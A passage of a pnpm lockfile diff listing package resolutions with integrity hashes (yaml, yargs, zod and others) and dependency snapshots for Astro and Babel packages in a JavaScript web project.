{integrity: sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==} + engines: {node: '>=10'} + + yallist@3.1.1: + resolution: {integrity: sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==} + + yallist@4.0.0: + resolution: {integrity: sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==} + + yaml-language-server@1.15.0: + resolution: {integrity: sha512-N47AqBDCMQmh6mBLmI6oqxryHRzi33aPFPsJhYy3VTUGCdLHYjGh4FZzpUjRlphaADBBkDmnkM/++KNIOHi5Rw==} + hasBin: true + + yaml@1.10.2: + resolution: {integrity: sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg==} + engines: {node: '>= 6'} + + yaml@2.2.2: + resolution: {integrity: sha512-CBKFWExMn46Foo4cldiChEzn7S7SRV+wqiluAb6xmueD/fGyRHIhX8m14vVGgeFWjN540nKCNVj6P21eQjgTuA==} + engines: {node: '>= 14'} + + yaml@2.7.0: + resolution: {integrity: sha512-+hSoy/QHluxmC9kCIJyL/uyFmLmc+e5CFR5Wa+bpIhIj85LVb9ZH2nVnqrHoSvKogwODv0ClqZkmiSSaIH5LTA==} + engines: {node: '>= 14'} + hasBin: true + + yargs-parser@21.1.1: + resolution: {integrity: sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw==} + engines: {node: '>=12'} + + yargs@17.7.2: + resolution: {integrity: sha512-7dSzzRQ++CKnNI/krKnYRV7JKKPUXMEh61soaHKg9mrWEhzFWhFnxPxGl+69cD1Ou63C13NUPCnmIcrvqCuM6w==} + engines: {node: '>=12'} + + yauzl@2.10.0: + resolution: {integrity: sha512-p4a9I6X6nu6IhoGmBqAcbJy1mlC4j27vEPZX9F4L4/vZT3Lyq1VkFHw/V/PUcB9Buo+DG3iHkT0x3Qya58zc3g==} + + yocto-queue@1.2.1: + resolution: {integrity: sha512-AyeEbWOu/TAXdxlV9wmGcR0+yh2j3vYPGOECcIj2S7MkrLyC7ne+oye2BKTItt0ii2PHk4cDy+95+LshzbXnGg==} + engines: {node: '>=12.20'} + + yocto-spinner@0.2.3: + resolution: {integrity: sha512-sqBChb33loEnkoXte1bLg45bEBsOP9N1kzQh5JZNKj/0rik4zAPTNSAVPj3uQAdc6slYJ0Ksc403G2XgxsJQFQ==} + engines: {node: '>=18.19'} + + yoctocolors@2.1.2: + resolution: {integrity: sha512-CzhO+pFNo8ajLM2d2IW/R93ipy99LWjtwblvC1RsoSUMZgyLbYFr221TnSNT7GjGdYui6P459mw9JH/g/zW2ug==} + engines: {node: '>=18'} + + zimmerframe@1.1.4: + resolution: {integrity: sha512-B58NGBEoc8Y9MWWCQGl/gq9xBCe4IiKM0a2x7GZdQKOW5Exr8S1W24J6OgM1njK8xCRGvAJIL/MxXHf6SkmQKQ==} + + zod-to-json-schema@3.24.6: + resolution: {integrity: sha512-h/z3PKvcTcTetyjl1fkj79MHNEjm+HpD6NXheWjzOekY7kV+lwDYnHw+ivHkijnCSMz1yJaWBD9vu/Fcmk+vEg==} + peerDependencies: + zod: ^3.24.1 + + zod-to-ts@1.2.0: + resolution: {integrity: sha512-x30XE43V+InwGpvTySRNz9kB7qFU8DlyEy7BsSTCHPH1R0QasMmHWZDCzYm6bVXtj/9NNJAZF3jW8rzFvH5OFA==} + peerDependencies: + typescript: ^4.9.4 || ^5.0.2 + zod: ^3 + + zod@3.25.76: + resolution: {integrity: sha512-gzUt/qt81nXsFGKIFcC3YnfEAx5NkunCfnDlvuBSSFS02bcXu4Lmea0AFIUwbLWxWPx3d9p8S5QoaujKcNQxcQ==} + + zwitch@2.0.4: + resolution: {integrity: sha512-bXE4cR/kVZhKZX/RjPEflHaKVhUVl85noU3v6b8apfQEc1x4A+zBxjZ4lN8LqGd6WZ3dl98pY4o717VFmoPp+A==} + +snapshots: + + '@adobe/css-tools@4.3.3': {} + + '@adraffy/ens-normalize@1.10.1': {} + + '@alloc/quick-lru@5.2.0': {} + + '@ampproject/remapping@2.3.0': + dependencies: + '@jridgewell/gen-mapping': 0.3.13 + '@jridgewell/trace-mapping': 0.3.31 + + '@antfu/install-pkg@1.0.0': + dependencies: + package-manager-detector: 0.2.11 + tinyexec: 0.3.2 + + '@antfu/utils@8.1.1': {} + + '@astrojs/check@0.9.4(prettier-plugin-astro@0.14.1)(prettier@3.6.2)(typescript@5.9.3)': + dependencies: + '@astrojs/language-server': 2.15.4(prettier-plugin-astro@0.14.1)(prettier@3.6.2)(typescript@5.9.3) + chokidar: 4.0.3 + kleur: 4.1.5 + typescript: 5.9.3 + yargs: 17.7.2 + transitivePeerDependencies: + - prettier + - prettier-plugin-astro + + '@astrojs/compiler@2.11.0': {} + + '@astrojs/compiler@2.13.0': {} + + '@astrojs/internal-helpers@0.7.3': {} + + '@astrojs/language-server@2.15.4(prettier-plugin-astro@0.14.1)(prettier@3.6.2)(typescript@5.9.3)': + dependencies: + '@astrojs/compiler': 2.13.0 + '@astrojs/yaml2ts': 0.2.2 + '@jridgewell/sourcemap-codec': 1.5.5 + '@volar/kit': 2.4.12(typescript@5.9.3) + '@volar/language-core': 2.4.12 + '@volar/language-server': 2.4.12 + '@volar/language-service': 2.4.12 + fast-glob: 3.3.3 + muggle-string: 0.4.1 + volar-service-css: 0.0.62(@volar/language-service@2.4.12) + volar-service-emmet: 0.0.62(@volar/language-service@2.4.12) + volar-service-html: 0.0.62(@volar/language-service@2.4.12) + volar-service-prettier: 0.0.62(@volar/language-service@2.4.12)(prettier@3.6.2) + volar-service-typescript: 0.0.62(@volar/language-service@2.4.12) + volar-service-typescript-twoslash-queries: 0.0.62(@volar/language-service@2.4.12) + volar-service-yaml: 0.0.62(@volar/language-service@2.4.12) + vscode-html-languageservice: 5.3.3 + vscode-uri: 3.1.0 + optionalDependencies: + prettier: 3.6.2 + prettier-plugin-astro: 0.14.1 + transitivePeerDependencies: + - typescript + + '@astrojs/markdown-remark@6.3.7': + dependencies: + '@astrojs/internal-helpers': 0.7.3 + '@astrojs/prism': 3.3.0 + github-slugger: 2.0.0 + hast-util-from-html: 2.0.3 + hast-util-to-text: 4.0.2 + import-meta-resolve: 4.2.0 + js-yaml: 4.1.0 + mdast-util-definitions: 6.0.0 + rehype-raw: 7.0.0 + rehype-stringify: 10.0.1 + remark-gfm: 4.0.1 + remark-parse: 11.0.0 + remark-rehype: 11.1.2 + remark-smartypants: 3.0.2 + shiki: 3.13.0 + smol-toml: 1.4.2 + unified: 11.0.5 + unist-util-remove-position: 5.0.0 + unist-util-visit: 5.0.0 + unist-util-visit-parents: 6.0.1 + vfile: 6.0.3 + transitivePeerDependencies: + - supports-color + + '@astrojs/prism@3.3.0': + dependencies: + prismjs: 1.30.0 + + '@astrojs/react@4.4.2(@types/node@24.5.2)(@types/react-dom@19.2.3(@types/react@19.2.6))(@types/react@19.2.6)(jiti@1.21.7)(lightningcss@1.29.3)(react-dom@19.2.0(react@19.2.0))(react@19.2.0)(sass@1.80.4)(stylus@0.64.0)(terser@5.43.1)(yaml@2.7.0)': + dependencies: + '@types/react': 19.2.6 + '@types/react-dom': 19.2.3(@types/react@19.2.6) + '@vitejs/plugin-react': 4.7.0(vite@6.4.1(@types/node@24.5.2)(jiti@1.21.7)(lightningcss@1.29.3)(sass@1.80.4)(stylus@0.64.0)(terser@5.43.1)(yaml@2.7.0)) + react: 19.2.0 + react-dom: 19.2.0(react@19.2.0) + ultrahtml: 1.6.0 + vite: 6.4.1(@types/node@24.5.2)(jiti@1.21.7)(lightningcss@1.29.3)(sass@1.80.4)(stylus@0.64.0)(terser@5.43.1)(yaml@2.7.0) + transitivePeerDependencies: + - '@types/node' + - jiti + - less + - lightningcss + - sass + - sass-embedded + - stylus + - sugarss + - supports-color + - terser + - tsx + - yaml + + '@astrojs/rss@4.0.12': + dependencies: + fast-xml-parser: 5.2.3 + kleur: 4.1.5 + + '@astrojs/sitemap@3.6.0': + dependencies: + sitemap: 8.0.0 + stream-replace-string: 2.0.0 + zod: 3.25.76 + + '@astrojs/svelte@7.2.0(@types/node@24.5.2)(astro@5.13.10(@types/node@24.5.2)(jiti@1.21.7)(lightningcss@1.29.3)(rollup@2.79.2)(sass@1.80.4)(stylus@0.64.0)(terser@5.43.1)(typescript@5.9.3)(yaml@2.7.0))(jiti@1.21.7)(lightningcss@1.29.3)(sass@1.80.4)(stylus@0.64.0)(svelte@5.39.8)(terser@5.43.1)(typescript@5.9.3)(yaml@2.7.0)': + dependencies: + '@sveltejs/vite-plugin-svelte': 5.1.1(svelte@5.39.8)(vite@6.3.6(@types/node@24.5.2)(jiti@1.21.7)(lightningcss@1.29.3)(sass@1.80.4)(stylus@0.64.0)(terser@5.43.1)(yaml@2.7.0)) + astro: 5.13.10(@types/node@24.5.2)(jiti@1.21.7)(lightningcss@1.29.3)(rollup@2.79.2)(sass@1.80.4)(stylus@0.64.0)(terser@5.43.1)(typescript@5.9.3)(yaml@2.7.0) + svelte: 5.39.8 + svelte2tsx: 0.7.44(svelte@5.39.8)(typescript@5.9.3) + typescript: 5.9.3 + vite: 6.3.6(@types/node@24.5.2)(jiti@1.21.7)(lightningcss@1.29.3)(sass@1.80.4)(stylus@0.64.0)(terser@5.43.1)(yaml@2.7.0) + transitivePeerDependencies: + - '@types/node' + - jiti + - less + - lightningcss + - sass + - sass-embedded + - stylus + - sugarss + - supports-color + - terser + - tsx + - yaml + + '@astrojs/tailwind@6.0.2(astro@5.13.10(@types/node@24.5.2)(jiti@1.21.7)(lightningcss@1.29.3)(rollup@2.79.2)(sass@1.80.4)(stylus@0.64.0)(terser@5.43.1)(typescript@5.9.3)(yaml@2.7.0))(tailwindcss@3.4.18(yaml@2.7.0))': + dependencies: + astro: 5.13.10(@types/node@24.5.2)(jiti@1.21.7)(lightningcss@1.29.3)(rollup@2.79.2)(sass@1.80.4)(stylus@0.64.0)(terser@5.43.1)(typescript@5.9.3)(yaml@2.7.0) + autoprefixer: 10.4.21(postcss@8.5.3) + postcss: 8.5.3 + postcss-load-config: 4.0.2(postcss@8.5.3) + tailwindcss: 3.4.18(yaml@2.7.0) + transitivePeerDependencies: + - ts-node + + '@astrojs/telemetry@3.3.0': + dependencies: + ci-info: 4.3.0 + debug: 4.4.3 + dlv: 1.1.3 + dset: 3.1.4 + is-docker: 3.0.0 + is-wsl: 3.1.0 + which-pm-runs: 1.1.0 + transitivePeerDependencies: + - supports-color + + '@astrojs/ts-plugin@1.10.4': + dependencies: + '@astrojs/compiler': 2.11.0 + '@astrojs/yaml2ts': 0.2.2 + '@jridgewell/sourcemap-codec': 1.5.0 + '@volar/language-core': 2.4.12 + '@volar/typescript': 2.4.12 + semver: 7.7.1 + vscode-languageserver-textdocument: 1.0.12 + + '@astrojs/yaml2ts@0.2.2': + dependencies: + yaml: 2.7.0 + + '@babel/code-frame@7.27.1': + dependencies: + '@babel/helper-validator-identifier': 7.27.1 + js-tokens: 4.0.0 + picocolors: 1.1.1 + + '@babel/compat-data@7.28.0': {} + + '@babel/core@7.28.0': + dependencies: + '@ampproject/remapping': 2.3.0 + '@babel/code-frame': 7.27.1 + '@babel/generator': 7.28.0 + '@babel/helper-compilation-targets': 7.27.2 + '@babel/helper-module-transforms': 7.27.3(@babel/core@7.28.0) + '@babel/helpers': 7.27.6 + '@babel/parser': 7.28.4 + '@babel/template': 7.27.2 + '@babel/traverse': 7.28.0 + '@babel/types': 7.28.4 + convert-source-map: 2.0.0 + debug: 4.4.3 + gensync: 1.0.0-beta.2 + json5: 2.2.3 + semver: 6.3.1 + transitivePeerDependencies: + - supports-color + + '@babel/generator@7.28.0': + dependencies: + '@babel/parser': 7.28.4 + '@babel/types': 7.28.4 + '@jridgewell/gen-mapping': 0.3.13 + '@jridgewell/trace-mapping': 0.3.31 + jsesc: 3.1.0 + + '@babel/helper-annotate-as-pure@7.27.3': + dependencies: + '@babel/types': 7.28.4 + + '@babel/helper-compilation-targets@7.27.2': + dependencies: + '@babel/compat-data': 7.28.0 + '@babel/helper-validator-option': 7.27.1 + browserslist: 4.25.1 + lru-cache: 5.1.1 + semver: 6.3.1 + + '@babel/helper-create-class-features-plugin@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-annotate-as-pure': 7.27.3 + '@babel/helper-member-expression-to-functions': 7.27.1 + '@babel/helper-optimise-call-expression': 7.27.1 + '@babel/helper-replace-supers': 7.27.1(@babel/core@7.28.0) + '@babel/helper-skip-transparent-expression-wrappers': 7.27.1 + '@babel/traverse': 7.28.0 + semver: 6.3.1 + transitivePeerDependencies: + - supports-color + + '@babel/helper-create-regexp-features-plugin@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-annotate-as-pure': 7.27.3 + regexpu-core: 6.2.0 + semver: 6.3.1 + + '@babel/helper-define-polyfill-provider@0.6.5(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-compilation-targets': 7.27.2 + '@babel/helper-plugin-utils': 7.27.1 + debug: 4.4.3 + lodash.debounce: 4.0.8 + resolve: 1.22.10 + transitivePeerDependencies: + - supports-color + + '@babel/helper-globals@7.28.0': {} + + '@babel/helper-member-expression-to-functions@7.27.1': + dependencies: + '@babel/traverse': 7.28.0 + '@babel/types': 7.28.4 + transitivePeerDependencies: + - supports-color + + '@babel/helper-module-imports@7.27.1': + dependencies: + '@babel/traverse': 7.28.0 + '@babel/types': 7.28.4 + transitivePeerDependencies: + - supports-color + + '@babel/helper-module-transforms@7.27.3(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-module-imports': 7.27.1 + '@babel/helper-validator-identifier': 7.27.1 + '@babel/traverse': 7.28.0 + transitivePeerDependencies: + - supports-color + + '@babel/helper-optimise-call-expression@7.27.1': + dependencies: + '@babel/types': 7.28.4 + + '@babel/helper-plugin-utils@7.27.1': {} + + '@babel/helper-remap-async-to-generator@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-annotate-as-pure': 7.27.3 + '@babel/helper-wrap-function': 7.27.1 + '@babel/traverse': 7.28.0 + transitivePeerDependencies: + - supports-color + + '@babel/helper-replace-supers@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-member-expression-to-functions': 7.27.1 + '@babel/helper-optimise-call-expression': 7.27.1 + '@babel/traverse': 7.28.0 + transitivePeerDependencies: + - supports-color + + '@babel/helper-skip-transparent-expression-wrappers@7.27.1': + dependencies: + '@babel/traverse': 7.28.0 + '@babel/types': 7.28.4 + transitivePeerDependencies: + - supports-color + + '@babel/helper-string-parser@7.27.1': {} + + '@babel/helper-validator-identifier@7.27.1': {} + + '@babel/helper-validator-option@7.27.1': {} + + '@babel/helper-wrap-function@7.27.1': + dependencies: + '@babel/template': 7.27.2 + '@babel/traverse': 7.28.0 + '@babel/types': 7.28.4 + transitivePeerDependencies: + - supports-color + + '@babel/helpers@7.27.6': + dependencies: + '@babel/template': 7.27.2 + '@babel/types': 7.28.4 + + '@babel/parser@7.28.4': + dependencies: + '@babel/types': 7.28.4 + + '@babel/plugin-bugfix-firefox-class-in-computed-class-key@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-plugin-utils': 7.27.1 + '@babel/traverse': 7.28.0 + transitivePeerDependencies: + - supports-color + + '@babel/plugin-bugfix-safari-class-field-initializer-scope@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-plugin-utils': 7.27.1 + + '@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-plugin-utils': 7.27.1 + + '@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-plugin-utils': 7.27.1 + '@babel/helper-skip-transparent-expression-wrappers': 7.27.1 + '@babel/plugin-transform-optional-chaining': 7.27.1(@babel/core@7.28.0) + transitivePeerDependencies: + - supports-color + + '@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-plugin-utils': 7.27.1 + '@babel/traverse': 7.28.0 + transitivePeerDependencies: + - supports-color + + '@babel/plugin-proposal-class-properties@7.12.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-create-class-features-plugin': 7.27.1(@babel/core@7.28.0) + '@babel/helper-plugin-utils': 7.27.1 + transitivePeerDependencies: + - supports-color + + '@babel/plugin-proposal-private-property-in-object@7.21.0-placeholder-for-preset-env.2(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + + '@babel/plugin-syntax-flow@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-plugin-utils': 7.27.1 + + '@babel/plugin-syntax-import-assertions@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-plugin-utils': 7.27.1 + + '@babel/plugin-syntax-import-attributes@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-plugin-utils': 7.27.1 + + '@babel/plugin-syntax-import-meta@7.10.4(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-plugin-utils': 7.27.1 + + '@babel/plugin-syntax-jsx@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-plugin-utils': 7.27.1 + + '@babel/plugin-syntax-unicode-sets-regex@7.18.6(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-create-regexp-features-plugin': 7.27.1(@babel/core@7.28.0) + '@babel/helper-plugin-utils': 7.27.1 + + '@babel/plugin-transform-arrow-functions@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-plugin-utils': 7.27.1 + + '@babel/plugin-transform-async-generator-functions@7.28.0(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-plugin-utils': 7.27.1 + '@babel/helper-remap-async-to-generator': 7.27.1(@babel/core@7.28.0) + '@babel/traverse': 7.28.0 + transitivePeerDependencies: + - supports-color + + '@babel/plugin-transform-async-to-generator@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-module-imports': 7.27.1 + '@babel/helper-plugin-utils': 7.27.1 + '@babel/helper-remap-async-to-generator': 7.27.1(@babel/core@7.28.0) + transitivePeerDependencies: + - supports-color + + '@babel/plugin-transform-block-scoped-functions@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-plugin-utils': 7.27.1 + + '@babel/plugin-transform-block-scoping@7.28.0(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-plugin-utils': 7.27.1 + + '@babel/plugin-transform-class-properties@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-create-class-features-plugin': 7.27.1(@babel/core@7.28.0) + '@babel/helper-plugin-utils': 7.27.1 + transitivePeerDependencies: + - supports-color + + '@babel/plugin-transform-class-static-block@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-create-class-features-plugin': 7.27.1(@babel/core@7.28.0) + '@babel/helper-plugin-utils': 7.27.1 + transitivePeerDependencies: + - supports-color + + '@babel/plugin-transform-classes@7.28.0(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-annotate-as-pure': 7.27.3 + '@babel/helper-compilation-targets': 7.27.2 + '@babel/helper-globals': 7.28.0 + '@babel/helper-plugin-utils': 7.27.1 + '@babel/helper-replace-supers': 7.27.1(@babel/core@7.28.0) + '@babel/traverse': 7.28.0 + transitivePeerDependencies: + - supports-color + + '@babel/plugin-transform-computed-properties@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-plugin-utils': 7.27.1 + '@babel/template': 7.27.2 + + '@babel/plugin-transform-destructuring@7.28.0(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-plugin-utils': 7.27.1 + '@babel/traverse': 7.28.0 + transitivePeerDependencies: + - supports-color + + '@babel/plugin-transform-dotall-regex@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-create-regexp-features-plugin': 7.27.1(@babel/core@7.28.0) + '@babel/helper-plugin-utils': 7.27.1 + + '@babel/plugin-transform-duplicate-keys@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-plugin-utils': 7.27.1 + + '@babel/plugin-transform-duplicate-named-capturing-groups-regex@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-create-regexp-features-plugin': 7.27.1(@babel/core@7.28.0) + '@babel/helper-plugin-utils': 7.27.1 + + '@babel/plugin-transform-dynamic-import@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-plugin-utils': 7.27.1 + + '@babel/plugin-transform-explicit-resource-management@7.28.0(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-plugin-utils': 7.27.1 + '@babel/plugin-transform-destructuring': 7.28.0(@babel/core@7.28.0) + transitivePeerDependencies: + - supports-color + + '@babel/plugin-transform-exponentiation-operator@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-plugin-utils': 7.27.1 + + '@babel/plugin-transform-export-namespace-from@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-plugin-utils': 7.27.1 + + '@babel/plugin-transform-flow-strip-types@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-plugin-utils': 7.27.1 + '@babel/plugin-syntax-flow': 7.27.1(@babel/core@7.28.0) + + '@babel/plugin-transform-for-of@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-plugin-utils': 7.27.1 + '@babel/helper-skip-transparent-expression-wrappers': 7.27.1 + transitivePeerDependencies: + - supports-color + + '@babel/plugin-transform-function-name@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-compilation-targets': 7.27.2 + '@babel/helper-plugin-utils': 7.27.1 + '@babel/traverse': 7.28.0 + transitivePeerDependencies: + - supports-color + + '@babel/plugin-transform-json-strings@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-plugin-utils': 7.27.1 + + '@babel/plugin-transform-literals@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-plugin-utils': 7.27.1 + + '@babel/plugin-transform-logical-assignment-operators@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-plugin-utils': 7.27.1 + + '@babel/plugin-transform-member-expression-literals@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-plugin-utils': 7.27.1 + + '@babel/plugin-transform-modules-amd@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-module-transforms': 7.27.3(@babel/core@7.28.0) + '@babel/helper-plugin-utils': 7.27.1 + transitivePeerDependencies: + - supports-color + + '@babel/plugin-transform-modules-commonjs@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-module-transforms': 7.27.3(@babel/core@7.28.0) + '@babel/helper-plugin-utils': 7.27.1 + transitivePeerDependencies: + - supports-color + + '@babel/plugin-transform-modules-systemjs@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-module-transforms': 7.27.3(@babel/core@7.28.0) + '@babel/helper-plugin-utils': 7.27.1 + '@babel/helper-validator-identifier': 7.27.1 + '@babel/traverse': 7.28.0 + transitivePeerDependencies: + - supports-color + + '@babel/plugin-transform-modules-umd@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-module-transforms': 7.27.3(@babel/core@7.28.0) + '@babel/helper-plugin-utils': 7.27.1 + transitivePeerDependencies: + - supports-color + + '@babel/plugin-transform-named-capturing-groups-regex@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-create-regexp-features-plugin': 7.27.1(@babel/core@7.28.0) + '@babel/helper-plugin-utils': 7.27.1 + + '@babel/plugin-transform-new-target@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-plugin-utils': 7.27.1 + + '@babel/plugin-transform-nullish-coalescing-operator@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-plugin-utils': 7.27.1 + + '@babel/plugin-transform-numeric-separator@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-plugin-utils': 7.27.1 + + '@babel/plugin-transform-object-rest-spread@7.28.0(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-compilation-targets': 7.27.2 + '@babel/helper-plugin-utils': 7.27.1 + '@babel/plugin-transform-destructuring': 7.28.0(@babel/core@7.28.0) + '@babel/plugin-transform-parameters': 7.27.7(@babel/core@7.28.0) + '@babel/traverse': 7.28.0 + transitivePeerDependencies: + - supports-color + + '@babel/plugin-transform-object-super@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-plugin-utils': 7.27.1 + '@babel/helper-replace-supers': 7.27.1(@babel/core@7.28.0) + transitivePeerDependencies: + - supports-color + + '@babel/plugin-transform-optional-catch-binding@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-plugin-utils': 7.27.1 + + '@babel/plugin-transform-optional-chaining@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-plugin-utils': 7.27.1 + '@babel/helper-skip-transparent-expression-wrappers': 7.27.1 + transitivePeerDependencies: + - supports-color + + '@babel/plugin-transform-parameters@7.27.7(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-plugin-utils': 7.27.1 + + '@babel/plugin-transform-private-methods@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-create-class-features-plugin': 7.27.1(@babel/core@7.28.0) + '@babel/helper-plugin-utils': 7.27.1 + transitivePeerDependencies: + - supports-color + + '@babel/plugin-transform-private-property-in-object@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-annotate-as-pure': 7.27.3 + '@babel/helper-create-class-features-plugin': 7.27.1(@babel/core@7.28.0) + '@babel/helper-plugin-utils': 7.27.1 + transitivePeerDependencies: + - supports-color + + '@babel/plugin-transform-property-literals@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-plugin-utils': 7.27.1 + + '@babel/plugin-transform-react-display-name@7.28.0(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-plugin-utils': 7.27.1 + + '@babel/plugin-transform-react-jsx-development@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/plugin-transform-react-jsx': 7.27.1(@babel/core@7.28.0) + transitivePeerDependencies: + - supports-color + + '@babel/plugin-transform-react-jsx-self@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-plugin-utils': 7.27.1 + + '@babel/plugin-transform-react-jsx-source@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-plugin-utils': 7.27.1 + + '@babel/plugin-transform-react-jsx@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-annotate-as-pure': 7.27.3 + '@babel/helper-module-imports': 7.27.1 + '@babel/helper-plugin-utils': 7.27.1 + '@babel/plugin-syntax-jsx': 7.27.1(@babel/core@7.28.0) + '@babel/types': 7.28.4 + transitivePeerDependencies: + - supports-color + + '@babel/plugin-transform-react-pure-annotations@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-annotate-as-pure': 7.27.3 + '@babel/helper-plugin-utils': 7.27.1 + + '@babel/plugin-transform-regenerator@7.28.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-plugin-utils': 7.27.1 + + '@babel/plugin-transform-regexp-modifiers@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-create-regexp-features-plugin': 7.27.1(@babel/core@7.28.0) + '@babel/helper-plugin-utils': 7.27.1 + + '@babel/plugin-transform-reserved-words@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-plugin-utils': 7.27.1 + + 